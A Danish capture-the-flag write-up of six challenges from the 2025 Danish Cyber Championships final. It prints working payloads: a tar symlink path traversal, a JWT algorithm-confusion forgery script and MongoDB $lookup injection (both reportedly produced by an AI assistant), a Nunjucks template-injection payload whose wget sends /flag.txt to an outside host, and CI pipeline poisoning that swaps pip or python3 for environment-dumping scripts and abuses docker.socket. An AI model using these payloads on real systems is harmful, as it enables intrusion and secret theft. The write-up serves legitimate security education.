De Danske Cybermesterskaber 2025 writeup
Den 3. maj 2025 blev De Danske Cybermesterskaber – den nationale finale – afholdt ved AAU i København.
Den nationale finale bød på et helt særligt resultat for mig personligt.
Efter flere års deltagelse lykkedes det endelig at bryde ind i Top 10 for senior kategorien!
De Danske Cybermesterskaber er den danske nationale konkurrence for 15- til 25- årige i cybersikkerhed, igennem kategorien CTF - Capture The Flag. CTF er en konkurrenceform, hvor man løser opgaver og finder flaget gemt i opgaven. Det kan eksempelvis enten være på en virtuel maskine, i en krypteret besked, et stykke software eller via OSINT (Open Source Intelligence).
Den nationale finale deltager de bedste 50 juniorer (15-20 år) og 50 seniorer (20-25 år) i Danmark, som er gået videre fra de regionale mesterskaber.
Nok om konkurrencen og baggrunden. Dette indlæg beskriver de opgaver jeg har løst under De Danske Cybermesterskaber, primært med fokus på min tilgang til opgaverne, og deres cybersikkerheds fokus.
Opgaverne
Der var i år en større mængde misc-opgaver, som fokuserede på mit yndlingsområde: DevOps!
I alt fik jeg løst 3 web og 3 misc-challenges.
Web
Misc
- Empowering Devops Security 2
- Glass Ocean, Crystal Minnow - Bryde ind eller bryde ud?
- Glass Ocean, Barracuda - Gift i vandet!
Photo Album
Kategori: Web exploitation
Points: 100 (25 solves)
Beskrivelse
Upload dine billeder!
Medlagt var source koden for opgaven.
Løsning
Photo album er en foto-upload hjemmeside, hvor du har mulighed for at uploade forskellige typer af billeder. Fra hjemmesiden er det specifikt beskrevet som:
Upload an image or a TAR file containing images to create your album.
TAR, og andre zip-lignende formatter, er interessante. De levere mange forskellige vulnerabilities, såsom Zip bomb. Tar filer kan også indeholde symlinks! Symlinks er en genvej til en anden fil.
I koden, kan vi se at vi har med en Flask applikation at gøre, som køres i Docker.
Vi kan se fra dockerfile
, at vi skal læse /flag.txt
, fordi det indeholder flaget.
Fra selve Flask applikationen, ses det, at vi har tilladelse til at uploade .jpg
, .jpeg
, .png
, .gif
samt .tar
. .tar
er i dette tilfælde en ret interessant kandidat.
Længere nede i koden, kan vi se at .tar
filer bliver pakket ud på servere med tarfile.open() as f; f.extractall
.
Dog sker dette kun hvis alle filer i tar filen er valide. Interessant.
Men lad os se om Google kender til en god exploit for tarfile
.
Med en simpel google søgning på "python3 tarfile exploit", finder vi en interessant artikel: "What Is The Tarfile Vulnerability in Python?"
I artiklen finder vi det gyldne ord "Path traversal attack"; mulighed for at læse andre filer på systemet!
Specifikt nævnes der i artiklen:
This vulnerability arises when the extract() or extractall() functions are used to extract files from tar archives. Malicious tar files can include paths that traverse the filesystem, such as ../../, which effectively allows attackers to escape the intended directory.
Nu handler det om at lave et payload.
En hurtig google søgning giver ln -s <target> <link-name>
og tar -cf archive.tar <files>
.
Med lidt omskrivning til vores foremål bliver det til:
# Path traversal file
ln -s /flag.txt jpg.jpg
# Archive
tar -cf archive.tar jpg.jpg
Så er det blot at uploade archive.tar
.... og succes, Fil uploadet!
Vi bliver automatisk ledt hen til "album" siden, hvor vi kan se at vores "jpg.jpg" fil ikke viser noget billede.
Vi kan åbne devtools i browseren, og læse flaget direkte.
I chrome kan man se filens indhold som en hex editor, men kan kopieres ud som base64.
data:image/jpeg;base64,RERDe2Y0azNfaW00ZzNfcjM0bF9mbDRnfQo=
En hurtig tur i Cyberchef for at decode base64, giver flaget: DDC{f4k3_im4g3_r34l_fl4g}
BugTracker
Kategori: Web exploitation
Points: 100 (25 solves)
Beskrivelse
Her er vores bugtracker - hvor vi har helt styr på næsten alle fejl.
Medlagt var source koden for opgaven.
Løsning
Den her opgave var især en hovedpine under konkurrencen.
På siden for opgaven, bliver vi introduceret til en "BugTracker", hvor vi kan oprette en bruger eller logge ind.
Når vi opretter en bruger og logger ind, bliver vi mødt af "Submit bug" siden. Her kan vi indsende en bug med "Title", "Description", og "Severity".
Øverst på siden kan vi også finde en "Admin" side, hvilket leder os direkte tilbage til log in siden.
Udleveret er en Python Flask app, som underliggende bruger MongoDB til at gemme bugs, men også flags. Spændende!
Mere specifikt kan vi se fra source koden, at flaget ligger i flags
kollektionen, mens applikationen levere bugs
kollektionen.
Vi ser også at applikationen bruger JWT (JSON Web Token). Men mere interessant, sit eget lag udenom den indbyggede JWT håndtering.
Ser ret funky ud.
JWT bruges i denne applikation som adgangs kontrol. JWT sendes med når man laver en anmodning til serveren, hvor serveren kan decode indholde og få oplysninger om brugeren. Indholdet er signeret med en nøgle, således at indholdet kan verificeres til at være korrekt.
Jeg går ind for at bruge de tools der er tilgængelige. Derfor er en nem og simpel start, altid at smide source koden ind i en AI. Vi kan eksempelvis spørge:
I'm a CTF player, and have gotten this challenge. What is vulnerable?
Her highligter AI'en specifikt et JWT algorithm confusion issue:
SKEY = b"""redacted"""
KEY = b"""[key]"""
def decode_jwt(token):
header = jwt.get_unverified_header(token)
alg = header.get("alg")
if alg == "HS256":
key_obj = serialization.load_pem_public_key(
KEY,
backend=default_backend()
)
raw_key_bytes = key_obj.public_bytes(
encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
return jwt.decode(
token,
key=raw_key_bytes,
algorithms=["HS256"],
options={"verify_aud": False}
)
elif alg == "RS256":
return jwt.decode(
token,
key=KEY,
algorithms=["RS256"],
options={"verify_aud": False}
)
else:
raise ValueError(f"Unsupported alg: {alg}")
Og den highlighter også at admin search ruten tillader aggregation pipelines. Mere om det senere.
I sig selv, er det en stor hjælp at få AI'en til at finde selve sårbarheden.
Vi kan her tage den JWT token vi har lavet for vores konto, og ændre den til at lave JWT algorithm confusion, igennem online værktøjer som jwt.io.
Men vi kan også prøve at få AI'en til at lave en Proof-of-Concept (efter jeg havde fejlet hårdt via jwt.io):
Can you make a poc for the token forgery, for the CTF?
Ved at bruge VSCode Github Copilot plugin, med edit sat til, får vi følgende ud i en fil, klar til at eksekvere:
# poc_jwt_alg_confusion.py
import jwt
import datetime
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# The Public Key from your original app.py
PUBLIC_KEY_PEM = b"""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu312Aqc7m8puqI5i0mm4
+CdBRYRmccFwJme1qHVAc0RcIPSS6k3hJ/WZJgQyDuTt/DUtYb2pbVTzIso3v5HR
FodZ8zZdqHLBF+V8uVluwXGyjw5i7mpBS8PJQMMIL3tEPmYB21KKF1cfkMbDYE6S
r8BchYraXnAtLj+w6w1rzTOEYsqbktCq29xXTWU8+E+mOUYKHS8n8olyPEBfiaHY
fy7nUt+uMrUXxayrTWMi7HduFq4ZW7kUnH66koTo26x+HuhHuh9lhIdVLKmB64Yq
Kyt88r1XOAXI9cMVQZqdRuGbYSg8UgLE1mzqxkAzv0E6hITTJYQdCTAiuUX1Dj1M
bwIDAQAB
-----END PUBLIC KEY-----"""
# --- Attacker Creates Malicious Payload ---
attacker_payload = {
"username": "attacker_controlled",
"role": "admin", # Elevate privilege
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1) # Set expiration
}
# --- Attacker Sets Header to HS256 ---
headers = {
"alg": "HS256",
"typ": "JWT"
}
# --- Attacker Uses Public Key as HS256 Secret ---
# Mimic how the vulnerable server extracts the key for HS256 verification
key_obj = serialization.load_pem_public_key(
PUBLIC_KEY_PEM,
backend=default_backend()
)
# Use the *exact* key bytes the vulnerable server would use for verification
hs256_secret_key = key_obj.public_bytes(
encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
# Alternatively, sometimes just using the PEM string works if the library is lenient,
# but using the DER bytes precisely matches the vulnerable code's logic.
# hs256_secret_key = PUBLIC_KEY_PEM
# --- Attacker Encodes the Forged Token ---
forged_token = jwt.encode(
attacker_payload,
hs256_secret_key, # Sign with the public key bytes!
algorithm="HS256",
headers=headers
)
print("Forged JWT Token:")
print(forged_token)
# --- How to Use ---
# 1. Save this script as e.g., poc_jwt_alg_confusion.py
# 2. Install dependencies: pip install pyjwt cryptography
# 3. Run the script: python poc_jwt_alg_confusion.py
# 4. Take the printed token and send it to the vulnerable server's
# endpoints that require authentication (e.g., /admin_search)
# in the Authorization header: "Bearer <forged_token>"
# 5. The vulnerable server should accept the token and grant admin access.
Ret vildt hvad en simpel query til en AI kan.
Med JWT token som bliver spyttet ud, kan vi nu tilgå admin siden.
Første trin klaret.
Næste trin er i essencen simpel, men det som gav den største hovedpine under konkurrencen.
Som tidligere nævnt af AI'en, så har vi adgang til aggregation pipelines via query kaldet. Aggregation pipeline giver adgang til en kraftig query metode i MongoDB.
Men jeg er ikke mester i NoSQL injection, som er sårbaheden. Så til Google vi går.
Efter lidt søgning, kommer en "NoSQL injection" Practical CTF guide frem. Ren guld i det her tilfælde, med et helt afsnit til aggregate functions. Et fantastisk stykke læsning, hvis man vil vide hvordan det fungere.
Vi kan direkte prøve deres eksempel requests:
[{
"$lookup": {
"from": "users",
"pipeline": [{ "$match": { "_id" : {"$ne": ""} } }],
"as": "leak"
}
}]
Vi kan lave den om til flags
:
[{
"$lookup": {
"from": "flags",
"pipeline": [{ "$match": { "_id" : {"$ne": ""} } }],
"as": "leak"
}
}]
Og det kan vi selvfølgelig smide ind i? Ikke helt. Jeg får i hvert fald ingen resultater tilbage.
Vi kan prøve med den anden lookup måde, men her skal vi have noget som overlapper.
Vi kan heldigvis selv indsætte en bug report. Label på flaget er ctf_flag
så vi indsætter det i titlen på en ny bug report.
Herefter kan vi bruge den anden metode:
[{
"$lookup": {
"from": "users",
"localField": "_id",
"foreignField": "_id",
"as": "leak"
}
}]
For denne opgave kan den omskrives til:
[{
"$lookup": {
"from": "flags",
"localField": "label",
"foreignField": "title",
"as": "leak"
}
}]
Vi kan prøve at indsætte dette på hjemmesiden. Og der sker ikke så meget.
Alle resultater kommer ud, men ikke noget flag.
Det er nu hovedpinen sætter ind. Uanset hvad jeg gør, så vil det ikke via hjemmesiden.
Til sidst går jeg tilbage til AI'en og spørger den om at komme med et solvescript.
Og det er uden den store forventning. Men ud kommer den med et helt solvescript:
#!/usr/bin/env python3
import json
import urllib.parse
import requests
# https://book.jorianwoltjer.com/web/server-side/nosql-injection#aggregate-functions-usdmatch-greater-than-usdlookup
# Replace with valid admin token
TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImF0dGFja2VyX2NvbnRyb2xsZWQiLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3NDYzMDIwNTN9.1RhZ6Ljydadu42_OXl6Z2nQVDzQFg0-uXroKejqGyyg"
# Build payload to join bugs with flags
payload = [
{
"$lookup": {
"from": "flags",
"localField": "label",
"foreignField": "title",
"as": "leak"
}
},
{
"$unwind": {"path": "$leak", "preserveNullAndEmptyArrays": True}
}
]
# Encode payload for query parameter
query_str = json.dumps(payload)
encoded = urllib.parse.quote(query_str)
url = f"http://bugtracker.hkn//admin_search?query={encoded}"
headers = {"Authorization": f"Bearer {TOKEN}"}
response = requests.get(url, headers=headers)
print(f"Status: {response.status_code}")
print(response.json())
Vi skal blot køre dette, og så er der flag i terminalen: DDC{c0nfu53d_4nd_vuln3r4bl3}
Jeg indser ikke, at der er noget underliggende JavaScript i frontenden, som forhindre en den måde jeg ville lave query på. Men ved at det gøres programatisk via dens url, så forbigår vi dette.
TemplateTrap
Kategori: Web exploitation
Points: 116 (19 solves)
Beskrivelse
Tjek her, om dine strenge er palindromer!
Medlagt var source koden for opgaven.
Løsning
På hjemmesiden for opgaven finder vi en Palindrome checker.
Siden ser simpel ud, og ligeledes gør koden.
Denne gang er det en node.js express applikation, i stedet for Flask:
const express = require("express");
const nunjucks = require("nunjucks");
const app = express();
nunjucks.configure("views", {
autoescape: true,
express: app,
});
app.get("/", function (req, res) {
const input = req.query.value || "";
if (!input) {
return res.render("index.html", { message: "Please provide an input" });
}
if (input.includes(" ")) {
return res.render("index.html", { message: "Sorry, we only accept space-free palindromes here!" });
}
const reversed = [...input].reverse().join("");
let message = "";
if (input && input === reversed) {
message = nunjucks.renderString((str = reversed + " is a very nice palindrome"));
} else if (input) {
message = nunjucks.renderString((str = "You string reversed is not a palindrome: " + reversed));
}
return res.render("index.html", { message: message });
});
const server = app.listen(process.env.PORT || 80, () => {
console.log(`Server started on port: ${server.address().port}`);
});
Ud fra koden, kan vi se at teksten vi indsætter reverses, hvorefter den indsættes i nunjuck. Har aldrig hørt om nunjuck før.
En hurtig google søgning viser Code Execution via SSTI (Node.js Nunjucks)
SSTI er Server-Side-Template-Injection. Ofte noget som kan give RCE (Remote Code Execution). Hvilket er brugbart, eftersom flaget ligger i /flag.txt. Vi kan bruge RCE til at printe flaget.
Desværre har den side ikke en PoC. Men med SSTI som søgeord, finder vi Github repositoriet ping-0day/templates, som indeholder en node-nunjucks-ssti.yaml fil, med en poc.
Her bruges følgende SSTI:
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}
Med det har vi RCE igennem execSync
. Bare et lille problem. Der må ikke være mellemrum i teksten.
Der er flere måder at komme rundt om det på, såsom tabs i stedet for spaces. Jeg gik den lidt mere kompliceret vej med $IFS
i selve shell delen. $IFS
i shell laves om til ord brydning. Vi kan også droppe return, så det kun er i shell delen vi har brug for mellemrum.
Med lidt mere trylleri, i form af et webhook call url, får vi:
{{range.constructor(\"global.process.mainModule.require('child_process').execSync('wget\${IFS}http://10.0.240.241:8084/2e56ded8-66fd-44b4-a3ed-9d65a89aa2f9?flag=$(cat\${IFS}/flag.txt)')\")()}}
Men før vi rammer nunjuck bliver teksten reversed. Så for at modvægte dette, kan vi gøre det på forhånd. Det giver denne funky tekst:
}})()")')txt.galf/}SFI{$tac($=galf?9f2aa98a56d9-de3a-4b44-df66-8ded65e2/4808:142.042.0.01//:ptth}SFI{$tegw'(cnyScexe.)'ssecorp_dlihc'(eriuqer.eludoMniam.ssecorp.labolg"(rotcurtsnoc.egnar{{
Når den indsættes, eksekveres wget kaldet, som sender et kald mod min PC med flaget: DDC{templating-gone-wrong}
På nuværende tidspunkt, kunne vi indsætte en reverse shell, og få en åben adgang ind til systemet. Men vi er kun på udkig efter flaget, så det er her vi stopper.
Empowering Devops Security 2
Kategori: Misc
Points: 116
Beskrivelse
Velkommen til Empowering DevOps Security (EDS)-teamet! Vi er spændte på at starte vores samarbejde! Ulduar er vores nyeste Flask-app-projekt. Kig gerne rundt i Ulduar, men lad være med at røre ved noget, da en af vores andre udviklere er lidt følsom overfor dette projekt. Vi mener, at de fleste Python-images er lidt for store, så vi arbejder på at udvikle vores eget, som skal bruges i vores Ulduar-projekt. Vi vil sætte pris på, hvis du kan hjælpe med at færdiggøre det i Icecrown.
Vi har oprettet en ny bruger til dig:
Brugernavn:Alice
Adgangskode:password
Løsning
Allerede fra titlen kan vi se at det er en DevOps-opgave. Og ud fra hjemmesiderne givet; git.devops.hkn
og drone.devops.hkn
, så har vi med noget CI at gøre.
Jeg kan lide hvor det her er på vej hen!
Ved at åbne git.devops.hkn
får vi Gitea, et Github alternativ. drone.devops.hkn
giver Drone CI, som er en CI-pipelineværktøj lignende Jenkins.
Når vi kigger lidt rundt i de to git-repositories, Ulduar og Icecrown, kan vi se at Drone CI-konfigurationen for Ulduar (.drone.yml
) indeholder en environment-key API_KEY
. Det kunne være interessant at få fat i. Især fordi den kommer fra en "secret".
Steppet, som har API-nøglen, bruger Docker-imaget registry.devops.hkn/playwright:ulduar
.
Når vi kigger i Icecrown ser vi, at vi bygger præcist det image, og vi har specifikt fået at vide, at vi skal rette i det image.
Ved at skifte gear og kigge i Drone CI, kan vi se at kort efter vi er logget ind, begynder Ulduar at bygge og køre dens pipeline. Det gør den med 2 minutters mellemrum. Pipelinen fejler dog, fordi den ikke kan finde registry.devops.hkn/playwright:ulduar
. Så vi må hellere komme i gang med at bygge den.
I Ulduar kan vi se, at applikationen bruger pip til at installere dependencies i CI. Hvis vi kan lave registry.devops.hkn/playwright:ulduar
således, at når vi kører pip, så køre vi vores egen kommando, og derved får RCE. Dette simulerer på mange måder et supply chain attack.
Vi kan overskrive pip i /bin
.
Først skal vi skrive vores environment dumper. I shell kan vi bruge env
, men Drone CI (og lignende programmer) skjuler automatisk følsomme oplysninger når de vises i web interfacet efter pipelinen har kørt.
Dette kan nemt forbigåes ved at pipe det til base64. Derved kan vi bygge følgende dumper script:
#!/usr/bin/env bash
env | base64
Denne fil kan vi kalde pip
, og lægge i roden af Icecrown.
For Dockerfile
kan vi gøre følgende, for at sikre at vores lille script kan blive kørt, og ikke den officielle pip installation:
FROM registry.devops.hkn/ubuntu:20.04
COPY ./pip /bin/pip
RUN chmod +x /bin/pip
Vi bruger den originale FROM
som Dockerfilen originalt indeholdt, men skriver vores egen pip
kommando. Vi kan nu git commit og se pipelinen køre.
Det tager lidt tid før opgaven bliver samlet op, og Ulduar CI opgaven kører.
Vi kunne i mellemtiden også dumpe environment variablerne for vores egen pipeline og få direkte adgang til Docker registriet brugt. Dog er dette ikke en del af opgaven.
I Ulduar pipelinen kan vi se loggen fra opgaven. Her får vi udskrevet alle environment variabler i base64. En hurtig tur i Cyberchef giver det endelige flag: API_KEY=DDC{B4CKD00R_1N_TH3_BU1LD}
Glass Ocean, Crystal Minnow - Bryde ind eller bryde ud?
Kategori: Misc
Points: 957 (2 solves)
First blood
Beskrivelse
Du har lige opdaget, at din halvfætter, som stadig skylder dig penge fra den der "fælles investering" i kryptovaluta i 2019, driver et DevOps-firma. De bruger en Gitea-server til deres kode som du anonymt har formået at få en gæsteadgang til for “hjælpe”.
Men nu er det på tide at få dine penge tilbage… på den kreative måde.
Hvis du bare kan stjæle en api nøgle eller to, så kan det være han bliver lidt mere... samarbejdsvillig.
Du har ikke tænkt dig at skade noget – du vil bare have lidt forhandlingsmateriale. Familien er jo trods alt det vigtigste... men penge hjælper også.
Brugernavn:guest3124
Adgangskode:password
Løsning
Ligesom sidste opgave "Empowering Devops Security 2", så er denne opgave også baseret på Gitea og Drone CI, dog med en anden historie bag.
Vi har kun gæste adgang, og kan ikke skrive i de to git repositories. Vi får udleveret "Barracuda" og "Mackerel".
Ved hurtig gennemgang af Barracuda, kan vi se at i .drone.yml
filen er flaget direkte fremhævet:
---
kind: pipeline
type: docker
name: Barracuda-Pipeline
steps:
- name: process-logs
image: registry.glassocean.hkn/mackerel:latest
pull: always # This ensures the latest image is always pulled, avoiding cache
environment:
API_KEY:
from_secret: API_KEY # <--- here be flag. Good luck ;)
commands:
- python src/process_logs.py
- m_tool logs/sample_logs.json
image_pull_secrets:
- docker_credentials
Vi kan også se, at registry.glassocean.hkn/mackerel:latest
bruges her. Minder på mange måder om Ulduar fra den anden opgave.
Mackerel er ens med Icecrown, ved at den bygge det Docker-image.
Vi har til forandring, ikke adgang til at skrive til de to repositories. Men vi kan se og skrive issues, lave forks, etc. Vi kan her spotte at der er to issues.
En ved navn "Stupid configuration" lyder interessant.
Who in the ever living [REDACTED] thought it was a good idea to mount the docker.socket to EVERYTHING!?!?!?!??!?!
Den manglende nøgle!
Drone Ci og andre CI platformer, bruger underliggende Docker til at køre flere pipelines på samme maskine. Det vil sige, at hvis en pipeline har adgang til docker.socket, har den adgang til den underliggende maskines Docker system. Den kan derved interagere med andre Docker containers, og lave en komplet Docker escape. Aldrig en smart ting at efterlade i en container.
Der er mange veje til målet her. Men en måde at få fat i en environment variable for en container, sat af Docker, er at se Docker informationer omkring den specifikke container. Informationer omkring en Docker container, inklusiv environment variabler, er tilgængelige ved at bruge Docker kommandoen docker inspect
.
Vi kan derved opsætte en ny pipeline som ligger og kører docker inspect
, indtil den fanger en container med API_KEY
. Den nye pipelinen kan laves, ved at lave en fork af Mackerel. Drone CI fanger automatisk at vi har lavet en fork.
Vi kan opsætte følgende pipeline:
kind: pipeline
type: docker
name: Mackerel-pipeline
steps:
- name: build
image: docker:1
commands:
- source inspect.sh
environment:
PASSWORD:
from_secret: docker_password
USERNAME:
from_secret: docker_username
Som kører følgende script, der er bygget til at køre i loop, og printer alle environemnt variabler med flag:
#!/usr/bin/env bash
# Run the following for ever, with a 10 second sleep in between
while true; do
for container in $(docker ps -aq); do
echo "Container: $(docker inspect --format='{{.Name}}' $container)"
docker inspect --format='{{range .Config.Env}}{{println .}}{{end}}' $container | grep "DDC{" || echo "No flag found"
done
echo "sleeping for 10 seconds..."
sleep 10
done
Scriptet kører hvert 10. sekund, og læser alle containers. Eftersom variablen vi leder efter, ikke er i vores pipeline konfiguration, så vil den ikke blive gemt væk i loggen. Men ellers kunne environment variablerne blive kørt igennem base64.
I stedet for scriptet, kunne en reverse shell blive sat op, således at en længerevarende forbindelse kunne opsættes. Det blev der gjort under konkurrencen, men er ikke nødvendigt.
Med lidt venten, får vi flaget givet i Drone CI: DDC{N0W_TH3_R4T2_4R3_JUMP1NG_2H1P2}
Efter konkurrencen, og under skrivningen af dette writeup, finder jeg, at overstående metode finder både flaget for denne opgave, men også Glass Ocean, Barracuda - Gift i vandet!. Jeg har ikke testet løsningen på Empowering Devops Security 2, men forventer at den også kan løses på samme måde.
Det handler om at vente på at den anden pipeline kører. Flaget fundet i denne del er ikke den API-nøglen som vi troede vi fik, men en helt andens containers API nøgle. Det er en container som kører hele tiden, kaldet "crystal-minnow". Det passer med opgavens navn.
Det her sikkerheds hul kan blive beskyttet imod, ved at bruge Docker secrets i Docker Compose. Dog ville en trussels aktør kunne bruge kommandoer som docker exec
til at køre kommandoer inde i en anden container.
Glass Ocean, Barracuda - Gift i vandet!
Kategori: Misc
Points: 957 (2 solves)
Beskrivelse
Du er ikke helt færdig endnu. Det viser sig, at din halvfætter også har sat en masse automatiske pipelines op med Drone CI – og de kører som et urværk. Desværre har du kun læseadgang. Men der lugter af noget interessant.
Et af systemerne bruger sin helt egen Docker registry, og det lader til, at der bliver brugt nogle interne credentials. Hvis du kan få fingrene i dem, kan du måske... indsætte noget lidt mere fleksibelt næste gang systemet bygger noget.
Ikke for at ødelægge noget. Bare en lille venlig påmindelse om, at gæld ikke forsvinder af sig selv.
Løsning
Denne opgave er en forlængelse af Glass Ocean, Crystal Minnow - Bryde ind eller bryde ud?
Ved første øjekast, så er målet herfra ikke helt nemt at gennemskue. Fordi ved start af denne opgave, troede jeg, at jeg allerede havde fået printet environment variablerne fra den vigtige container.
Så jeg fokuserede på teksten "indsætte noget lidt mere fleksibelt næste gang systemet bygger noget", som henviser til, at vi skal overskrive Docker filerne således at vi kan lave en backdoor.
Den grundlæggende udfordring, er at Barracuda repositoriet henter fra et privat Docker repository, som kun Barracuda og Mackerel har adgang til. Men Mackerel bygger og ligger dette image op, som en del af dens process.
Den pipeline bygger fra en lokalt Docker-image, som vi har adgang til.
Mackerel bygger dens Docker-image, ved blot at kopiere en Python fil ind, mens at Python først bruges i Barracuda. Vi kan derved bruge samme taktik som i "Empowering Devops Security 2", bare med python3 i stedet for pip.
Følgende Dockerfile kan blive bygget (baseret på base-image i Mackerel):
FROM python:3.11-alpine
COPY ./python3 /usr/local/bin/python3
RUN chmod +x /usr/local/bin/python3
Hvor python3
er opbygget således:
#!/usr/bin/env sh
env | base64
I pipelinen kan vi dernæst overskrive den lokale kopi af python:3.11-alpine
, med følgende pipeline:
kind: pipeline
type: docker
name: Mackerel-pipeline
steps:
- name: build
image: docker:1
commands:
- docker build -t python:3.11-alpine .
Efter lidt venten, kan vi se environment variablerne for Barracuda, og derved flaget: DDC{H3Y_1_W42_U21NG_TH4T}
Under konkurrencen, gjorde jeg en lidt anden process.
Her valgte jeg at overskrive python:3.11-alpine
således at bygge processen i Mackerel fejlede. Med environment variablerne fra dens process, havde jeg adgang til brugernavn og adgangskode til Docker registriet, og kunne lægge et andet Docker-image op af registry.glassocean.hkn/mackerel:latest
, som havde python3
med en reverse shell.
Denne række af CTF opgaver fremhæver, at en enkelt fejlkonfiguration eller generel manglende sikkerhedsfokus inden for DevOps kan medføre alvorlige risikoer.
Vi fremviste, hvordan en trusselsaktør med begrænset initial adgang, effektivt kan bevæge sig lateralt på tværs af systemlandskabet.
Næste trin i DDC er bootcamp d. 13 juni 2025.